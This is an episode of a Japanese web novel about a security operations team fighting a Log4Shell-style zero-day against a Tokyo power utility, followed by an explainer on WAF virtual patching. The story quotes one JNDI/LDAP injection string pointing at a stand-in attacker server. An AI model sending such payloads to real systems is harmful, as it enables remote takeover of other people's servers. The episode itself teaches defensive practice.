↓ ↑ページトップへ
表示調整
閉じる
挿絵表示切替ボタン
▼配色
▼行間
▼文字サイズ
▼メニューバー
×閉じる

ブックマークに追加しました

設定
0/400
設定を保存しました
エラーが発生しました
※文字以内
ブックマークを解除しました。

エラーが発生しました。

エラーの原因がわからない場合はヘルプセンターをご確認ください。

ブックマーク機能を使うにはログインしてください。
THE EDGE(ジ・エッジ)  不可視の防壁   作者: sora_op


この作品ページにはなろうチアーズプログラム参加に伴う広告が設置されています。詳細はこちら

PR
10/12

Case 10:ゼロデイの夜(Zero Day's Night)

第1部:透明な弾丸


1


金曜日の午後8時。


東京の夜景が一望できるSOC(監視センター)は、奇妙なほど静かだった。


定常的な攻撃はあるものの、すべてBot ManagerとWAFが自動で弾き返している。


「平和ね」


ケアラが伸びをする。


「波が凪いでる。……逆に不気味なくらい」


その静寂を破ったのは、一本の電話だった。


ホットライン(緊急回線)。


相手は、日本の関東全域に電力を供給する「帝都電力」のCISO(最高情報セキュリティ責任者)だ。


『……アイギスさん。どうなっているんですか!』


スピーカーから聞こえる声は、パニックで裏返っていた。


『当社の給電指令システムが、勝手に操作されています! 制御コマンドが外部から送り込まれている!』


「落ち着いてください」


亀之助が冷静に応答する。


「給電制御などのOT(運用技術)系システムは、インターネットから隔離されているはずです。我々が守っているのは、あくまで公開Webサーバーだけですが……」


『その公開Webサーバーです! 協力会社向けの「統合監視ポータル」が踏み台にされたようです! WAFは動いているのに、なぜか侵入された!』


「……なんですって?」


亀之助は背筋が凍るのを感じた。


DMZ(非武装地帯)にある監視ポータル。そこが突破され、裏側のAPI経由で、内部の重要システムへ毒が回ったのか。


「……カメ、これを見て」


十凍(ソゴル)が、血走った目でモニターを睨んでいた。


「監視ポータルへのHTTPリクエスト。……一見するとただのユーザーエージェント情報だ。だが……」


十凍がパケットの中身(ペイロード)を展開する。


そこには、奇妙な文字列が埋め込まれていた。


${jndi:ldap://attack-server.com/exploit}


「……なんだこの文字列は?」


「呪文だ」


十凍が吐き捨てるように言った。


「こいつを読み込ませるだけで、Javaで動いているサーバーが勝手に外部へ接続し、乗っ取られる。……SQLインジェクションでもクロスサイトスクリプティングでもない。未知の攻撃(ゼロデイ)だ」


2


衝撃が走った。


ゼロデイ。


メーカー(今回はログ出力ライブラリ)すら気づいていない、修正パッチも存在しない、生まれたての脆弱性。


世界中のどのセキュリティ製品も、この攻撃を知らない。


だから、アイギスの盾もこれを「正常な通信」として通してしまったのだ。


「……APT-Dragonだ」


ケアラが震える声で言う。


「彼らはずっと隠し持っていたのよ。この『切り札』を。……日本の電力を落とす、この瞬間のために」


モニターの中で、帝都電力のポータルサーバーが次々と赤く染まっていく。


制御権を奪われたWebサーバーが、内部ネットワークに向けて、誤った給電停止命令を中継し始めている。


このままでは、東京が大停電(ブラックアウト)になる。


「……止めろ! 今すぐ!」


 猪熊社長(ヒグマ)が司令室に入ってきた。


「帝都電力が落ちれば、病院も交通もすべて止まる。首都機能が麻痺するぞ!」


「止めるって言っても……!」


守凪が叫ぶ。


「パッチがないんです! メーカーも今頃パニックですよ! どうやって防ぐんですか!」


全アイギス社員の視線が、一人の男に集まった。


地下室の住人、マルウェア解析のスペシャリスト。


「……十凍」


亀之助が呼ぶ。


十凍は無言で、コンビニで買ったレッドブルのプルタブを開けた。


プシュ、という炭酸の音が、静寂に響く。


「……パッチがないなら、俺たちが作るしかないだろう」


十凍はキーボードに指を置いた。


「『仮想パッチ(Virtual Patch)』だ。この攻撃パターンだけを弾くWAFルールを、今ここで書いて、世界中のエッジサーバーに即時配信する」


第2部:40億台のロシアンルーレット


3


それは、狂気じみた作業だった。


ゼロデイ攻撃は、形を変える。攻撃者は文字列を微妙に難読化して、検知を逃れようとする。


「……変異種、来ました! すり抜けます!」


ケアラが叫ぶ。


「クソッ、いたちごっこかよ!」


十凍の指が高速で動く。


正規表現(Regex)の鬼となる。敵のあらゆる「書き換えパターン」を予測し、それを網羅する検知ルールを書く。


だが、厳しくしすぎれば、正規の通信(一般ユーザーの閲覧)までブロックしてしまう。


「できた! ……全顧客へ適用だ!」


十凍が叫ぶが、亀之助がその手を止めた。


「待ってください! そのルール、検証してない!」


亀之助が立ちはだかる。


「いきなり全世界に配って、もし誤検知(False Positive)があったら、Amazonの注文も銀行の決済も全部止まります! インフラ屋としてそれはできない!」


「今は電力だ! 電気が消えたらAmazonもクソもねえだろうが!」


「だからこそです!」


亀之助は引かない。


「まず『帝都電力のプロパティ』だけに緊急適用します! そこで誤検知がないことを確認してから、全顧客へ展開する。……それが手順(ガバナンス)です!」


二人が睨み合う。


その均衡を破ったのは、胃薬を手にした司(つかさ)だった。


「……亀之助の言う通りだ。十凍、まずは帝都電力だけで行け」


司は受話器を握りしめながら言った。


「US本社のSOCC(セキュリティ監視センター)とケンブリッジのエンジニアリングチームには、俺から緊急コード(Code Red)を通した。世界中のアイギスが今、お前の書いた正規表現をレビューしている。……GOサインが出たら、俺が全世界に撃つ」


普段は頼りない司の目が、今は現場指揮官の目をしていた。


十凍は舌打ちし、ニヤリと笑った。


「……チッ。分かったよ、堅物どもめ」


「帝都電力向けカスタムルール、適用!」


亀之助がEnterキーを叩く。


4


帝都電力のSOC。


攻撃のアラートが鳴り止まない中、担当者たちが絶望していた。


だが、突如としてモニターの数字が変化した。


「……攻撃通信、ブロックされています!」


「WAFが……弾き始めました! 侵入できません!」


アイギスの盾が、進化した瞬間だった。


未知だった「ゼロデイ」は、十凍によって「既知」となり、無効化された。


『……US本社、検証完了! 誤検知なし! 全エッジへ展開承認!』


司の声が響く。


これで、世界中の企業もこの攻撃から守られる。


「……止まったか」


十凍は椅子に深く沈み込んだ。


「ギリギリだったな」


「すごい……」


守凪が呟く。


「十凍さん、亀之助さん、司さん……あんたら最強ですよ」


SOCに安堵の空気が流れる。


だが、ケアラだけはまだモニターを見ていた。


「……変ね」


彼女は眉をひそめた。


「攻撃は止まったのに、トラフィックの『色』がおかしい。……内部から外へ向かう通信はないのに、サーバーの負荷だけが上がってる」


第3部:物理の連鎖


5


攻撃は止まった。


帝都電力のシステムは、外部からの操作を遮断し、制御を取り戻したはずだった。


だが、オフィスの照明が、フッと瞬いた。


「……おい、なんだ?」


亀之助が天井を見上げる。


次の瞬間。


窓の外、東京の夜景が――消えた。


港区、渋谷区、新宿区……。


光の海だった東京が、ブロックごとに黒く塗りつぶされていく。


大停電(ブラックアウト)だ。


「な、なんで!?」


守凪が叫ぶ。


「攻撃は止めたはずでしょ!?」


「……時限爆弾だ」


十凍が呻くように言った。


「WAFで止めたのは『入り口』だけだ。……最初の数分間、奴らは侵入に成功していた。その時に、内部サーバーのタスクスケジューラに『遅延実行コマンド』を仕込んでいたんだ」


『20:30に、全サーキットブレーカーを開放せよ』。


その命令は、すでにシステムの内側に埋め込まれ、アイギスの手が届かない場所で、静かに時間を待っていたのだ。


オフィスの非常用電源が作動し、赤い回転灯が回り始める。


エアコンが止まり、サーバーのファンの音だけが轟く。


「……電力が落ちた」


ケアラが青ざめる。


「通信基地局のバッテリーは、持ってあと4時間。……それを過ぎれば、日本はネットから孤立するわ」


「……よし、俺の出番だな」


暗闇の中で、ヘルメットのライトを点けた男が立ち上がった。


磯部(親方)だ。


「燃料タンクは満タンだ。発電機は72時間は回してやる。……だがな、サーバー室の冷却が止まれば終わりだ。亀之助、空調が死んだら、窓ガラス割ってでも風を入れるぞ」


猪熊社長が立ち上がった。


「……総員、衝撃に備えなさい。


サイバー戦は一時休戦だ。……ここからは、物理戦(サバイバル)です」


暗闇の中で、アイギス・ジャパンの長い夜が始まった。


そして、その闇の向こうで、かつて敵対した「彼ら」――K1D_Zとチョウが、それぞれの場所でこの停電を見上げていたことを、亀之助たちはまだ知らない。


(第10話 完)



亀之助の技術日誌(Technology Log)


【今回の使用ウェポン:WAF Virtual Patching (仮想パッチ)】


* これはなに?


「絆創膏による応急処置」です。


* ソフトウェアに致命的な穴(脆弱性)が見つかった時、メーカーの修正パッチを待っていては間に合いません。


* アイギスのWAFで「その穴を狙う攻撃パターン」だけをブロックするルールを適用することで、サーバー自体は穴だらけでも、攻撃が届かない状態にします。


* 今回は「帝都電力だけ」→「全世界」と段階的に適用することで、Amazonなどの他社サイトを巻き込む事故を防ぎました。


* 亀之助のボヤキ


* 「『時限爆弾(Scheduled Task)』……WAFの限界だ。


* WAFはあくまで『門番』だ。泥棒が入るのを防ぐことはできるが、すでに入り込んで『時限爆弾』をセットした泥棒を、後から追い出すことはできない。


* 結局、侵入された時点で負けだったのか。……いや、まだだ。親方が電気を守ってくれている間に、俺たちが中の毒を抜けばいい」


【 導入あり vs なし 比較】


アイギスなしの場合


* 結果:


* ゼロデイ攻撃が直撃し、帝都電力の全システムが乗っ取られる。


* 制御不能になった発電所が暴走し、タービンが物理的に破壊される(復旧に数ヶ月かかるレベル)。


* 日本の電力網は完全に崩壊し、文明レベルが後退する。


アイギスあり(今回のケース)


* 結果:


* 攻撃開始から数十分で「仮想パッチ」を適用し、新たな侵入を遮断。


* システムの完全乗っ取りは防いだが、初期に侵入した一部の時限コマンドにより、一時的な停電が発生。


* 発電設備の物理破壊は免れたため、復旧への希望は残されている。


ケアラの占い部屋(Security Fortune)


【今回のキーワード:Zero-Day(ゼロデイ)とLog4Shell】


* ケアラの解説


* 「メーカーが気づく『0日目(Zero Day)』に攻撃されるから、ゼロデイ攻撃。


* 今回の元ネタになった『Log4Shell』は、2021年に見つかった史上最悪の脆弱性よ。


* 呪文のような文字列を送るだけで、相手のサーバーを遠隔操作できちゃう。世界中のサーバー管理者が、クリスマス休暇を返上して対応に追われたわ。


* 私たちが普段使っている便利なライブラリ(部品)……実はそれが、世界を壊す爆弾になることもあるの」


* 用語集(Termpedia)


* DMZ(DeMilitarized Zone): 非武装地帯。外部(インターネット)と内部(社内)の間に置かれる緩衝エリア。今回はここに置かれたポータルが狙われた。


* Follow the Sun: 「太陽を追いかける」運用体制。日本が夜になっても、地球の裏側のUSやロンドンが起きているので、24時間誰かが守ってくれる。司さんが連絡したのはこれ。


#中国

#戦争

#ロシア

#セキュリティ

#サイバー攻撃

#脆弱性

#エッジコンピューティング

#サイバー戦争


評価をするにはログインしてください。
ブックマークに追加
ブックマーク機能を使うにはログインしてください。
― 新着の感想 ―
このエピソードに感想はまだ書かれていません。
感想一覧
+注意+

特に記載なき場合、掲載されている作品はすべてフィクションであり実在の人物・団体等とは一切関係ありません。
特に記載なき場合、掲載されている作品の著作権は作者にあります(一部作品除く)。
作者以外の方による作品の引用を超える無断転載は禁止しており、行った場合、著作権法の違反となります。